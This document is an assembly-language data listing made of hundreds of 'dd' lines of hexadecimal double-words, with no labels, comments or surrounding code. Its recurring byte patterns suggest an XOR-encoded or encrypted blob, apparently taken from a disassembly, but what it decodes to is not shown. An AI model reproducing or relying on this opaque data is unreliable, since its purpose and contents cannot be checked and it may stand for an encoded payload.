		dd 56D5B132h, 5682D0C7h, 3675B136h, 303174B2h, 373C2C8Dh
		dd 5947B158h, 5557B132h, 0EC3E4887h, 1DCFC41Fh,	8A89A1C3h
		dd 0C48AD498h, 5090BABFh, 564F333Dh, 0BFCEB132h, 5657B139h
		dd 80E706C2h, 4CDB167Eh, 37811CC4h, 57FFBE68h, 0A3BAB132h
		dd 0E63C33BBh, 0DFA1B702h, 5657B133h, 0BFCBD0CBh, 56D5B122h
		dd 26BC9876h, 0E0801707h, 758482BDh, 0CDEA64E7h, 222B3A53h
		dd 3651819Fh, 56AB323Dh, 95B4B132h, 56E0333Dh, 539CB132h
		dd 13BAB132h, 386355EEh, 91CFD152h, 7C4D00B0h, 16ABB134h
		dd 8D55D132h, 37F80369h, 4CF433F5h, 46BAB718h, 0DD52B132h
		dd 56AEB122h, 5657BADBh, 0A81BD932h, 55BD9EFAh,	0A2636E61h
		dd 0BF80D153h, 56BAB126h, 0B7EDC05Fh, 0F8ACA503h, 1B9F6D7Bh
		dd 0D33BABEAh, 4A9E0637h, 0DCE57253h, 5675B135h, 30443A52h
		dd 363C7FB9h, 56AEA0DBh, 26F81832h, 7BA219C6h, 3A46EAB0h
		dd 30BE2D34h, 19CC069Dh, 37D6472Ah, 565B5852h, 2B9BB132h
		dd 3BF03007h, 0FBDF0BB9h, 0D7DAB702h, 56EAB13Eh, 5673363Dh
		dd 0D4B5B132h, 565DB132h, 59AE8EB1h, 56574AB6h,	56A45832h
		dd 0A57FB132h, 4860D224h, 3CA874BBh, 24DD99F6h,	46223271h
		dd 3A2ABE30h, 3657B132h, 59CAD152h, 56D5B1B6h, 368BD032h
		dd 83640A88h, 0BF42D107h
		dd 565DB122h, 2C54F92Eh, 39F43317h, 233E5380h, 828E7CA0h
		dd 2969D053h, 0D27AB522h, 56BAB1B6h, 429A32C7h,	56B2323Dh
		dd 3637B132h, 56B95953h, 0F311B132h, 774071ACh,	5841E9C2h
		dd 2E31AA3Bh, 3E0182A7h, 2F47D06Ah, 59A84ECDh, 56ABB7B4h
		dd 0A75ED132h, 918BEA62h, 5674A175h, 0DEB5B132h, 565DB13Fh
		dd 56AEB9DBh, 0A746D232h, 0CBEFAECCh, 56C75848h, 0F83BB132h
		dd 37A12AACh, 4EA7DCD1h, 64B72372h, 3C86E053h, 0A9A825DBh
		dd 462DBECDh, 0BFD5B132h, 56EAB139h, 0E3E9ACBBh, 3A52E84Eh
		dd 0AE383937h, 55BEF6F5h, 0AE57B132h, 0A954C1DBh, 4759BECDh
		dd 0BFEAB132h, 5675B13Eh, 9F0B0CA4h, 982C80Ch, 30E327E5h
		dd 0D558D153h, 56ABB137h, 0BA163054h, 242431A8h, 509C7253h
		dd 0E4BAB132h, 2CFC4316h, 522EBE88h, 3657B132h,	3CAE862h
		dd 56C73B3Dh, 5B03B132h, 7D75B132h, 325E2370h, 0A5E089E6h
		dd 913BD5A1h, 0DB585DB9h, 56ABB126h, 56D5BEDBh,	798C6532h
		dd 9656CAF4h, 66F8608Bh, 0D15250D4h, 5721BE52h,	0AA57B132h
		dd 5420BE52h, 7D5B132h,	7FAA086Ch, 0BE14D20Bh, 56BAB132h
		dd 62B73068h, 36A881FBh, 36893054h, 5420BE01h, 0E0D5B132h
		dd 598AD063h, 5675B3B9h, 37473B32h, 49803152h, 0CF7F3054h
		dd 0E4DCD0A4h, 509B01BEh, 7B600B52h, 0DD8C9F82h, 13FED0C3h
		dd 0F102D13Ah, 0AA5EDDBAh, 36A83853h, 1940E3Dh,	37F55DB8h
		dd 0E65933B1h, 0AEEEB702h, 9F8D4453h, 56AC303Dh, 47B4B132h
		dd 0C3AEB132h, 0BE49EAEDh, 0E0DD12C9h, 707822B8h, 0C80489FDh
		dd 0BF75B5F0h, 56BAB123h, 0A2F80B6Fh, 0DFB797FDh, 4967204Ch
		dd 7FDA1574h, 0D0DAD1CBh, 56EAB137h, 4A28978Ch,	155D3054h
		dd 375BC52Dh, 56A55852h, 1D26B132h, 830A56B4h, 30BDAD69h
		dd 5E63BEC9h, 5975B132h, 56BAB3B0h, 0BE3CD132h,	56AEB132h
		dd 0AABD3068h, 0AFAD81FBh, 56DC5852h, 0FD2DB132h, 439B4093h
		dd 3045F78Ah, 3CF67B3h,	0E9A1D153h, 0E4DCD0C8h,	509B0153h
		dd 305E0652h, 703457B3h, 0E44E4D53h, 508A01BEh,	5732353Dh
		dd 0DD52B132h, 5BBED10Ch, 88ABB132h, 5D3072A6h,	0D35B90BFh
		dd 0ADC8415Eh, 0BF653A53h, 565DB137h, 3E82D4B7h, 19E1BEA4h
		dd 572CBE33h, 0AED5B132h, 0D6EBF6C4h, 5614343Dh, 0D8B5B132h
		dd 565DB135h, 56AF373Dh, 55ABB132h, 5A2BBEEBh, 59D5B132h
		dd 56EAB7B6h, 56F1BE32h, 0BFBAB132h, 565DB178h,	56AEBFDBh
		dd 0DC3FD132h, 8AA0D27h, 0E0791B5Fh, 361F4D82h,	567F313Dh
		dd 5353B132h, 745DB132h, 0C2569387h, 5657A0DBh,	92336E32h
		dd 0BDA9AE54h, 0EB447F9Fh, 91F2FE6Bh, 7DDB1266h, 0DA52D1EBh
		dd 56AEB130h, 0DD318684h, 36E8D0F1h, 56D1313Dh,	0EF8CB132h
		dd 0E97A13F5h, 36F9D0CBh, 0DD3C48CBh, 7C8390B7h, 9EDCD134h
		dd 0DDCAE963h, 7CC044BFh, 56E25834h, 0D261B132h, 0D13A7339h
		dd 8E6662DCh, 56EF333Dh, 53BEB132h, 0A5ABB132h,	14EA09B6h
		dd 0D1E56809h, 5675B11Dh, 56A03A3Dh, 53DB132h, 56BF586Dh
		dd 0E48DB132h, 0DCF42D0Dh, 533F26C0h, 3AB13494h, 371AC55Ch
		dd 0A3BE77B1h, 0A9A364DBh, 0A3CE4DCDh, 6D36E963h, 142FBEFDh
		dd 0BFD5B132h, 56EAB122h, 865F5F5Eh, 973230EEh,	41D8DB96h
		dd 0EB6A7434h, 0A3EA38C7h, 59AD9B27h, 56D5BFBAh, 56E35832h
		dd 308DB132h, 85374C79h, 0BF0185C4h, 0A9514FB0h, 5650383Dh
		dd 0D0A4B132h, 56D5B133h, 951FD0CAh, 56645952h,	283B132h
		dd 0A461E09Fh, 0E660863Bh, 4DA16156h, 36054FACh, 0A3B4EF53h
		dd 56E25852h, 3AFBB132h, 0B4FC3401h, 56B58913h,	0CAEB132h
		dd 9D8C5BB3h, 5952B702h, 56D5A2B5h, 56E45832h, 6243B132h
		dd 735A422Eh, 0F9F55B42h, 171F140Bh, 0E6360BB9h, 0D9A4B702h
		dd 56D5B123h, 56EABDDBh, 36749732h, 0F081B262h,	4A96F9D1h
		dd 57AE08CAh, 65ABB132h, 0FD584DF2h, 146FD752h,	8661D734h
		dd 0DD13D153h, 553DBEF1h, 0D65DB132h, 0DDCF92E7h, 66E7D0B0h
		dd 56BF5834h, 5EAB132h,	0BA7AFAA9h, 86AC132Dh, 0A7376AA7h
		dd 3DDBC6B0h, 0D427F9BBh, 506701BEh, 56ABA1DBh,	61F10C32h
		dd 0E8E770B1h, 94880F16h, 3DBAEEC0h, 5EB4D001h,	79AEB132h
		dd 83EF3B9Fh, 3640BCAEh, 78970B54h, 59B3E052h, 5675B1BBh
		dd 95DBD032h, 0BEA1D1CBh, 56AEB132h, 0CABD3068h, 0BFAD81FEh
		dd 56D5B126h, 0E60099E3h, 75F714B2h, 0B259138Bh, 0DD6A2DA5h
		dd 6832A1B6h, 5657B7DBh, 0B91FC732h, 363E0F58h,	6D3F3152h
		dd 0E813D0C7h, 90DB020Eh, 7C7A78B7h, 5A47E734h,	7A57B132h
		dd 45588C70h, 0CBFD9B64h, 3ECAD684h, 826ADC0Bh,	56B53D3Dh
		dd 0BF3DB132h, 56AEB135h, 0A086F37h, 0AE7E41E6h, 9F604E53h
		dd 59EC9B10h, 5675B7BEh, 0E9DCD132h, 0DB3C8740h, 7B2F18B7h
		dd 56475834h, 5E3B132h,	0CBC48640h, 6E54557h, 0DB64F6EAh
		dd 86456E8Dh, 565C333Dh, 452B132h, 564B3E3Dh, 0BFCBB132h
		dd 56D5B13Dh, 61BE4A69h, 0FA79D701h, 646A1102h,	5943F3CDh
		dd 56AEB1BEh, 3607D032h, 56AB3D3Dh, 0F6BB132h, 37F23A46h
		dd 56F5B15Ah, 5B3DBE32h, 365DB132h, 52BEAA8Ch, 56DABE30h
		dd 37ABB132h, 0D8DAB158h, 56EAB133h, 43FDBECBh,	0BFBAB132h
		dd 565DB122h, 0C27089ADh, 0DB5C54F1h, 3A2E0013h, 302E0CC2h
		dd 0FB9E03CDh, 368CB702h, 57260F54h, 593CD152h,	56AEB1BEh
		dd 0A936D032h, 5C43D1E2h, 2CD5B132h, 8BDA8E44h,	1DB7915h
		dd 836C3023h, 0F4A1B90h, 9F413054h, 590FD0FFh, 56ABB0B8h
		dd 598F4932h, 56EAB0B2h, 30154832h, 37FE628Bh, 56DDB15Ah
		dd 56A05832h, 5113B132h, 26BEE746h, 81695248h, 0AB73611Fh
		dd 5675A2DBh, 9E6E8532h, 6A259DE7h, 5A9B0719h, 296AA797h
		dd 0BF94D4A4h, 0DDB5B158h, 0F53130FAh, 375CE79Bh, 56BABBDBh
		dd 0E0CE9432h, 172D06FFh, 0A911144Eh, 661BD080h, 0DCDA4D34h
		dd 56EAB135h, 59FB0252h, 0A9DB7185h, 76DBBEE2h,	36AEB132h
		dd 0BA40A54h, 56ABA5DAh, 0AFC1F732h, 0E4DC9EA4h, 0CC7D6C31h
		dd 0DC91B12Dh, 5091ECC4h, 37CFE9CEh, 0BF993A52h, 56ABB122h
		dd 13562A39h, 0D4A74B3Fh, 53163609h, 0D814F0F7h, 303D7253h
		dd 41650B3h, 5644343Dh,	5B43B132h, 58D5B132h, 7289E927h
		dd 0D3154D7Fh, 0B557A767h, 0D73DD06Bh, 7F0AEBE0h, 60EFD75Eh
		dd 59FED0EFh, 56D5B8BFh, 8E60D132h, 0FC823054h,	0BA31D096h
		dd 565858CBh, 0C5FEB132h, 36AAD301h, 56A3343Dh,	0D9DAB132h
		dd 56EAB130h, 569DD052h, 0CBAB132h, 98AE5BB3h, 59CEB702h
		dd 0DE586A8Dh, 56ABB131h, 379944B2h, 56E23D3Dh,	5915B132h
		dd 0DDDC4E85h, 23D6D0E3h, 0DDC8D13Ah, 3EBFD0E5h, 0BFABB13Dh
		dd 56D5B13Ah, 0B5051230h, 53B03051h, 56AB5867h,	6144B132h
		dd 26FFA8ECh, 0FE0BC254h, 472B6DB3h, 0A96A83A2h, 664759A0h
		dd 59154834h, 56BAB4B5h, 42F40832h, 8C2585E0h, 6DAFEC53h
		dd 0D3A4BD47h, 0A92A4E84h, 56EABDDBh, 54CF5932h, 7F4DA5D6h
		dd 38DE5F05h, 0D7C8D1F3h, 0BF0B5DF4h, 56ABB138h, 22C33B79h
		dd 0F28AE4E5h, 0BE143BA9h, 56BABFC5h, 0BFA33A52h, 56AEB13Eh
		dd 0EE9DBDB6h, 0B5A042A7h, 2CC728EDh, 0DBE5D053h, 5675B12Ah
		dd 56A8313Dh, 5BB4B132h, 0E5AEB132h, 4D87CE95h,	3A400CD2h
		dd 0C61C4A2Ch, 576EBEFBh, 0A375B132h, 0DBB5D152h, 565DB132h
		dd 17663054h, 16E3D060h, 56A37353h, 56D5B8DBh, 587EAA32h
		dd 266E89Bh, 59EF37FDh
		dd 565DB0B8h, 0BA254832h, 5657B8DBh, 0B5060F32h, 0CEDA1D2Bh
		dd 9269FDE6h, 4FF2BECEh, 0BFBAB132h, 565DB126h,	69A21618h
		dd 0DE1F9B44h, 0FFFD511Ch, 3121AC83h, 1CB1CA6Ch, 57FDBE64h
		dd 0A3BAB132h, 565DA0DBh, 7B3AA132h, 8F68A46Dh,	0C5EE7039h
		dd 1752C8E4h, 36BDE52Ah, 37A06FB2h, 5C39BE61h, 0BF5DB132h
		dd 56AEB137h, 0B4142B66h, 56434D0Eh, 0CD5B132h,	868D5BB3h
		dd 0D57AB702h, 56BAB12Ah, 565DA2DBh, 10E47132h,	4C6871CBh
		dd 5141383Fh, 0B2EA3BB8h, 5F9AEB41h, 4CF9BE52h,	0BEBAB132h
		dd 565DB126h, 0F911ACD8h, 0A16EF084h, 564F4F86h, 48A65934h
		dd 45A6D302h, 0A9A096Ch, 36DBA843h, 565DA0DAh, 0E5988F32h
		dd 7EC677B7h, 0C8B5E898h, 0E5DD5D39h, 5903E525h, 8275B132h
		dd 73C40464h, 0BF0F07FCh, 2A126BBCh, 370DB724h,	36A3C4B9h
		dd 0DDB444CEh, 361FA14Fh, 5675B4DBh, 5616232h, 0E9526045h
		dd 59F9D0ECh, 5657BDB7h, 5020BE32h, 59D5B132h, 56EAB1BDh
		dd 539CE732h, 90BAB132h, 0DE24F0C4h, 56AF29DAh,	565D5832h
		dd 0A1F2B132h, 53A6266h, 469F3239h, 0D27A7139h,	56BAB1F0h
		dd 565DBADBh, 85D6D832h, 2D019301h, 3F50CF21h, 0BFB549B9h
		dd 56EAB121h, 4D6677A5h, 5815B6F7h, 53EFC9A0h, 2E35D8Ch
		dd 59BF66E3h, 56ABB1BCh, 0AA80D032h, 0FB0223CDh, 0B89B702h
		dd 56B13B3Dh, 593DB132h, 56AEB1BAh, 8B903132h, 5ADE8A53h
		dd 56B9353Dh, 3013B132h, 519CAFB9h, 0E5BAB132h,	4871A2A3h
		dd 0D6564209h, 593741D5h, 56ABB4B9h, 285E0F32h,	0A66AC2A5h
		dd 48FFD015h, 0DDDC4452h, 0B5DDD0C3h, 5E25BEC2h, 5957B132h
		dd 56ABB3B8h, 0BEB4D132h, 56EA9751h, 56723B3Dh,	0D9B5B132h
		dd 565DB133h, 0A9B258CAh, 0D6584ECDh, 56ABB120h, 240D3052h
		dd 0BFC70029h, 5675B137h, 8B228FB4h, 2BD4D06Dh,	4D22BECEh
		dd 3657B132h, 56ABA5DBh, 9CA1FA32h, 82515322h, 8B2D1E73h
		dd 46550BADh, 4570B123h, 0D0A1D09Ah, 5657B12Eh,	56BD3B3Dh
		dd 473CB132h, 8AEAB132h, 0AC8D19CFh, 0A32CBEB8h, 0B82F614h
		dd 0C1A3A149h, 0A9A2E2DAh, 5121BECDh, 59D5B132h, 56EAB0B0h
		dd 0BF2E4832h, 56BAB13Dh, 83AC4784h, 84E0C759h,	0AE37A8ADh
		dd 0AAC9A070h, 5755BE6Dh, 0AAEAB132h, 567B586Ch, 0AA8BB132h
		dd 0F69CDD56h, 0B9ABDC09h, 6A0C04C7h, 3657F4B9h, 372C5980h
		dd 56E458FBh, 0D266B132h, 71CFA96Ah, 26FC79A2h,	0CE5A91A4h
		dd 5657A1DBh, 0D82E1A32h, 0A049F94Ch, 0F4A96B7Dh, 688E04A7h
		dd 56B67309h, 0E13DE4CEh, 0BA25D023h, 565E303Dh, 30CBB132h
		dd 30164A8Dh, 0D58B49B9h, 0BE1549F6h, 56BAB126h, 0E3EE57E0h
		dd 8471279Bh, 6D2DE9B4h, 0F87610EDh, 234C69A0h,	56EAA2DBh
		dd 32DD9832h, 0A63D837Ah, 45516AFCh, 0D66D300Bh, 5E76E30Ch
		dd 56BA586Ah, 4E1B132h,	7B149DDh, 0C3DD0170h, 5FF30D1h
		dd 3768C38Bh, 0ECCEE6CBh, 28514A5Dh, 19880A89h,	0AE83D00Dh
		dd 0ED8CD163h, 85FEDFD6h, 0DAB5E253h, 565DB133h, 0AEEB76CBh
		dd 5657B132h, 0D46C49CBh, 50E51E92h, 56EAB133h,	5E003ACAh
		dd 56BABCDBh, 0B7DEA632h, 0E3DC8830h, 0BB034840h, 0DDCDDC1Bh
		dd 56D8582Ch, 99E7B132h, 0C48193ABh, 691C4E04h,	0DDCB5F52h
		dd 6603C588h, 5BDCBE34h, 0BFABB132h, 56D5B13Ah,	9362D46Bh
		dd 0F236B564h, 0A3B2EEB9h, 0D2526A39h, 56AEB17Fh, 0A0D6D152h
		dd 384E7EB4h, 88EED053h, 56FF343Dh, 0DD80B132h,	0D3B5BD6Fh
		dd 565DB135h, 56AF313Dh, 0DFAFB132h, 0D552BD6Dh, 0D7B5A5F5h
		dd 3A4F35D8h, 28CBE056h, 0CC2A003h, 0A9EB5853h,	59524ECDh
		dd 5657B9B0h, 5422BE32h, 36D5B132h, 4861D753h, 57F1BEC7h
		dd 0A3BAB132h, 59B54AB2h, 56AAA3B6h, 565B5832h,	3951B132h
		dd 9F6252D1h, 3F00C2C6h, 0ED1544D6h, 5CF32546h,	41863054h
		dd 0AD2ED0CAh, 0BAD3BEDBh, 0AFABB131h, 593E4AB2h, 56E953B6h
		dd 46F1BE32h, 36BAB132h, 0BFA6063Dh, 56AEB134h,	66A03438h
		dd 0D6CA0537h, 0D2DA53C9h, 56EAB29Bh, 5675BCDBh, 5CC02032h
		dd 0ADEB6842h, 0B2E8953h, 0ADD7C5D4h, 102FBED1h, 59D5B131h
		dd 56EAB0B8h, 0D7134832h, 5959D6C9h, 565ECDB6h,	56BD5832h
		dd 2291B132h, 315C23B5h, 0DEE6B099h, 0DD0FF2E1h, 880B1D60h
		dd 0A65D31B0h, 0ADDCD7CEh, 0D2A1313Dh, 5657B25Dh, 0A64831CAh
		dd 56D5B6DBh, 4A126B32h, 1D75CE65h, 59CA4AB2h, 565EE7B6h
		dd 0E9A1D132h, 58BEE2F9h, 54ABB132h, 0E267F053h, 60DCCA79h
		dd 52E01A09h, 30DBEA8Ah, 47B4AFB9h, 7AEB132h, 3536E52Fh
		dd 9A22B60Dh, 19022FA0h, 0F3876A07h, 5675B4DBh,	0A40F4332h
		dd 0B5DDF69Ah, 56A358CAh, 5289B132h, 0A25A2B9h,	4FA38D87h
		dd 0D6ABEE0Bh, 0D27A09C9h, 56BAB04Eh, 536331CEh, 57DC353Dh
		dd 0BF37B132h, 56ABB13Ah, 36C694E7h, 0EFBF4740h, 68F54D53h
		dd 0F3EBE1Fh, 365DB133h, 4B725AB3h, 0B6E7E251h,	3E953153h
		dd 5793353Dh, 0A916B132h, 66DA11B0h, 0E8DCD134h, 45B4D424h
		dd 87AEB132h, 52D57DABh, 37CD0F0Dh, 525938Fh, 1CB03C08h
		dd 3014197Ah, 5353AFB9h, 505DB132h, 66B0C2DAh, 0AAAF56B2h
		dd 0D7503054h, 5351BEDAh, 0AFEAB133h, 0BF6B3A54h, 56BAB122h
		dd 6F848CD2h, 1EC797ADh, 0EB32CDB3h, 0EB03D9ACh, 0BF2556B2h
		dd 56EAB13Bh, 67AABAADh, 15CA85B8h, 564E58C2h, 5DD5B132h
		dd 55C49179h, 0CC705DFEh, 0B5C3C252h, 5F91A58Ah, 0ADF4D7DCh
		dd 0D2B571B3h, 565DB18Ah, 56B3353Dh, 0DC58B132h, 56ABB125h
		dd 56D5A3DBh, 31A90432h, 21F3EA55h, 97EF3F98h, 0D6B600DDh
		dd 36233864h, 5657B4DBh, 60E91632h, 3680369Dh, 665AB2h
		dd 5675BFDAh, 0A80E4632h, 0BE5BB1D6h, 349EAF41h, 0E2EA27Eh
		dd 0C454D06Bh, 50E51CDAh, 56EAB4DBh, 3D169C32h,	0BFE72FA6h
		dd 565DB13Fh, 83968D45h, 6ECC732Eh, 1CEA7898h, 0AA9038BFh
		dd 56E23A3Dh, 0D615B132h, 0BF3AF7C4h, 0BF3CD038h, 56AEB120h
		dd 0FD0F04Eh, 4431E23h,	0E3E8D589h, 5FBAF7A1h, 2BF6D8D7h
		dd 0D3B5B0CEh, 565DB392h, 56AEA2DBh, 0EA4E6232h, 0DCE2E517h
		dd 0D28E6C0Eh, 0BD63FDD2h, 1BF2C44Ah, 4C0B0BB9h, 6A5B718h
		dd 5729BE52h, 0AE57B132h, 56A9323Dh, 884B132h, 0F6683A53h
		dd 5973819Dh, 56BAA2BAh, 56535832h, 0D34DB132h,	0F7DBAE84h
		dd 0B56F32BEh, 3FBBAA94h, 36DA8D0Bh, 0ADEB0F52h, 0AF31CF6Ah
		dd 56575953h, 4E8CB132h, 7DC6AA4Dh, 0FA4328C7h,	9F3A3054h
		dd 0E8BEF7Ch, 5453333Dh, 4553B132h, 0DD5DB132h,	1F15FCCFh
		dd 0F11AA0B5h, 0EFE8B61Bh, 5E7F1030h, 0EC615923h, 505FABB3h
		dd 95603052h, 0D65B7D43h, 6CFFCE6h, 55DDBE52h, 59ABB132h
		dd 5B3D7885h, 0EAB132h,	0A4820663h, 9480B750h, 90BCEEABh
		dd 0D7720F54h, 0D4DCD06Ah, 509B1E92h, 56C6353Dh, 0D9E5B132h
		dd 5675B13Fh, 56BAB9DBh, 0A7F04532h, 6E9C1A90h,	0DB58D1C9h
		dd 56ABB134h, 56D5393Dh, 75CB132h, 66498853h, 56B6393Dh
		dd 0DC52B132h, 56AEB134h, 5657333Dh, 59F3B132h,	56D43EBDh
		dd 0ED8CD132h, 5914CEFDh, 56BAB8B7h, 0E952D132h, 0E714D7F3h
		dd 3ABED00Bh, 36ABB132h, 47643B3h, 615F8CD9h, 0AE307653h
		dd 56BAB130h, 565A5852h, 4566B132h, 0B978F4E7h,	56B859CDh
		dd 443CB132h, 154503D8h, 0AD6EE893h, 0A7C1ED26h, 27A3BA92h
		dd 0C3900F51h, 370CBC6Dh, 56A2313Dh, 59B5B132h,	0ED8C7085h
		dd 0BF145A3Fh, 56BAB129h
		dd 0AE1876CAh, 56AEB133h, 5657BFDBh, 8690F432h,	58FA8FB5h
		dd 0CFDB820h, 0DD3D713Eh, 6617C588h, 0D73BD134h, 0E0F45DE0h
		dd 5DBED041h, 0E1ABB132h, 0CCE73CB0h, 71F61983h, 49FE5C23h
		dd 10DA0A52h, 0ED3B9CB6h, 5DCF474Eh, 83D3BEE9h,	36ABB132h
		dd 56D13F3Dh, 0EC8CB132h, 36141592h, 56BAB4DAh,	53AFB132h
		dd 37F67ACCh, 0D3586F09h, 56ABB15Bh, 56D5A3DBh,	82C7C232h
		dd 351614F1h, 76B70A33h, 76B0A4B7h, 0DDD05397h,	3037BD6Fh
		dd 0C04B52B3h, 56D5A1DBh, 22FC3B32h, 0F215E4E5h, 0BE7C3BA9h
		dd 17429001h, 0D552D072h, 5957494Fh, 56AB92B6h,	5E55BE32h
		dd 59EAB132h, 5675B3BAh, 55DBD132h, 0D052496Fh,	56AEB13Eh
		dd 5657B6DBh, 61D01B32h, 1765A092h, 0A3EEEEBBh,	42B232CBh
		dd 56BB333Dh, 0BFA1B132h, 0A9514E60h, 0C4893052h, 0BF917BA9h
		dd 56D5B121h, 9611165Dh, 0BDB1F13h, 729E3D86h, 3D31B78Eh
		dd 37B77B5Dh, 5FBE7101h, 0E8ABB132h, 0DD8C001Fh, 475F3A24h
		dd 567128DBh, 5732BE32h, 0AA5DB132h, 0BFB03A54h, 5657B139h
		dd 0B6EB674Ah, 4D49Ah, 0DD92881Ah, 0DF7ABD4Fh, 56BAB13Ah
		dd 565F313Dh, 37CEB132h, 5656363Dh, 0D65EB132h,	0D2DA5AC9h
		dd 56EAB17Ch, 5661383Dh, 5DAB132h, 56565869h, 6FFEB132h
		dd 0BB861BA2h, 86029616h, 0B555D0B7h, 0D0E5D1C2h, 5675B13Fh
		dd 56BAB9DBh, 0B6A63632h, 3E3F376Fh, 94D6D7B7h,	0D6CA273Ah
		dd 0D2DAC1C9h, 56EAB1BEh, 576758CBh, 30DAB132h,	8ADD48B9h
		dd 5168D0EFh, 564658DBh, 6EEFB132h, 762A51BFh, 0E0FBFFB5h
		dd 2123C7B1h, 59CA0148h, 565DB0B5h, 11694832h, 5657B133h
		dd 0D5A4D132h, 56D5B13Eh, 56EAB6DBh, 0DBE6DB32h, 0F189972Bh
		dd 565DA5DBh, 0C56D6B32h, 4A2D2A06h, 0C3AF96Bh,	0CAC83874h
		dd 0BEB3CD87h, 91FED05Eh, 9639D052h, 564D5837h,	5DB1B132h
		dd 99CAD26Dh, 153B799Bh, 3E0A5D62h, 0CD0312E1h,	3675B131h
		dd 56BA333Dh, 37A8B132h, 59A97654h, 5643583Ah, 0CBDCB132h
		dd 1B64889h, 153705DEh,	20D5D7BDh, 833A31D7h, 48D73586h
		dd 837E3052h, 0AA2B7175h, 59483153h, 3D60E52h, 0D68BB5DCh
		dd 599C31F9h, 0ABAB132h, 9B3D0523h, 20674883h, 2EC2F67Eh
		dd 923405Dh, 11124433h,	56EAB130h, 0EF13D132h, 0AEDB5591h
		dd 5DB476B9h, 4EAEB132h, 1A72D551h, 0AE034CEEh,	96563BC8h
		dd 0BF8BD134h, 5675B228h, 56B75852h, 0B5F9B132h, 5157E6F4h
		dd 0F0E0FB21h, 378BE155h, 0C6EB3054h, 3D6EBEA2h, 0AA75B132h
		dd 592A8FB2h, 565D30B7h, 56A15832h, 0E56FB132h,	0FE1E81F5h
		dd 35630052h, 741108D8h, 28F4D7BCh, 592A21CDh, 565DF0B6h
		dd 0A625D132h, 5657A1DAh, 0EBCB3532h, 1782EF59h, 0D7BB89FAh
		dd 0D5EEBA99h, 0A831D777h, 0DA52D06Ah, 56AEB120h, 5657BCDBh
		dd 78453932h, 0D1A1775Ch, 0FD8D46A0h, 719C8233h, 59BAB132h
		dd 565DB0B9h, 91254D32h, 5656343Dh, 3657B132h, 3724063Dh
		dd 56E8CCDBh, 567D5832h, 5656B132h, 0F461908Ch,	0D423283Ah
		dd 50670184h, 5228BE52h, 30D5B132h, 0BFD80D89h,	5675B139h
		dd 0A9880D5h, 7AA7537Bh, 3725D625h, 56595862h, 63F5B132h
		dd 35101E16h, 273AC471h, 49F838Fh, 0C4454D64h, 506D1F31h
		dd 56B9343Dh, 44BEB132h, 17ABB132h, 72768024h, 2C6225BFh
		dd 54A1D7F9h, 14AC51DCh, 599DBA3Dh, 56AE30B6h, 0D731D132h
		dd 0BFC702F9h, 56D5B120h, 5C859A51h, 0D29F0561h, 0B3CE9D23h
		dd 7B7B1AE4h, 0DDCF1C1Bh, 42BED1FAh, 68ABB132h,	2AD3FDB5h
		dd 55540B2h, 8538B429h,	0C1D7BC84h, 0BEA9F75Dh,	56AEB121h
		dd 0FA25A36h, 1DDB25h, 817D5385h, 0E391519Bh, 59C996B3h
		dd 37E5498Dh, 0E0EF3CCAh, 36A88182h, 5652383Dh,	0DC10B132h
		dd 3787ED98h, 56EABADBh, 9ABCCE32h, 724B8660h, 0B6A5AF19h
		dd 56AE28DBh, 0BF014832h, 56ABB121h, 2998488Fh,	0CA03E154h
		dd 6303C1F3h, 46D32FFEh, 59EC6EB9h, 56AEBDBCh, 0EE31D132h
		dd 912A1329h, 5E012963h, 0AE243A53h, 56785867h,	0C3A2B132h
		dd 29CBB861h, 7F99AB3Bh, 0A9296645h, 660659A0h,	0DDB3D134h
		dd 36B7D0FDh, 5663788Ah, 9C740A75h, 7D3CB982h, 5D28BEFCh
		dd 0BF57B132h, 56ABB134h, 19D0BC6Ch, 0D3E594C1h, 5675B134h
		dd 0DCC20352h, 8FAAD0C7h, 59F044CEh, 5657A4B8h,	56BB5832h
		dd 760B132h, 0D53D5326h, 0D12AFE13h, 0F89B165h,	2BDE7407h
		dd 0D3A1B0CAh, 5657B16Ch, 56AA343Dh, 0BF2DB132h, 56EAB13Ah
		dd 0ED036FB8h, 9E28CF2Ah, 59B4F882h, 2EAEB132h,	0F4B4D1D8h
		dd 93170847h, 0D1568CA0h, 594051C9h, 5675BDB6h,	56BD5832h
		dd 917AB132h, 1FA9CE06h, 59EFD759h, 0CA19D1B7h,	367ED753h
		dd 27FD0A54h, 40D20954h, 100CBE53h, 0AFF64433h,	56AEC0DBh
		dd 2BD44832h, 0D3A4B3CAh, 56D5B151h, 5D52D7C7h,	46C1D1FBh
		dd 0DD40360h, 0A3F6D753h, 0D2A10954h, 5657A0DBh, 5D0FA132h
		dd 4A073C90h, 5A07F803h, 0F055A9CFh, 0FDDC6538h, 565DA5DBh
		dd 35F1BA32h, 9EFE7EAFh, 0BAFBF2A2h, 0F506D9EDh, 0FD701DBCh
		dd 10C3BE38h, 5A38BE33h, 595DB132h, 56AEB7BCh, 56D0BE32h
		dd 0FDABB132h, 56D158CBh, 0A516B132h, 91FE4896h, 56AE3E3Dh
		dd 59B4B132h, 0BAEB132h, 0FB65CF8Ah, 0E3C42D5Dh, 0A3F3B27Fh
		dd 59B1C904h, 5675B5B8h, 37DAD132h, 47B4E853h, 0BDAEB132h
		dd 7727930Fh, 0BFFAE18Ch, 4AF359F1h, 88E17177h,	0BF2A446Ch
		dd 56BAB13Ah, 16803A4Ch, 10ECA653h, 565858FBh, 7A82B132h
		dd 893D85Eh, 0A8074B6h,	9D42043h, 56B2730Bh, 565C333Dh
		dd 357B132h, 56473A3Dh,	5D42B132h, 0BD5B132h, 0E443B88Eh
		dd 1BB5C65Eh, 0BA310ED2h, 565DBCDBh, 0DFD2B432h, 39A88489h
		dd 947D5BACh, 0AFB5A9AFh, 56EAB1DAh, 0BCF4EB32h, 508A6F1Fh
		dd 56575852h, 0C2D7B132h, 49E4C176h, 9FADA2D1h,	56D3393Dh
		dd 876BB132h, 37885BBBh, 0DE9D153h, 13D6D0CAh, 5725BE3Ah
		dd 0AE57B132h, 0FB6933BBh, 3729B702h, 56EAB4DBh, 53990732h
		dd 5973E33Ah, 565DB0B7h, 526C4432h, 565E5832h, 0E17AB132h
		dd 0EA7A1445h, 32C5951h, 5675A2DBh, 5F9EAE32h, 0D3F93B73h
		dd 0D162DDD3h, 4BBF9148h, 7CDF5A17h, 5A3C5DB9h,	64EAB132h
		dd 1156F9Eh, 1FE2FAD1h,	0D57516E4h, 0D9A149F6h,	5657B112h
		dd 56BF5852h, 24E3B132h, 0C68C8ECEh, 376E9EC3h,	0C6408FEAh
		dd 0A6B3A397h, 781647DDh, 3769473Dh, 56BE343Dh,	463CB132h
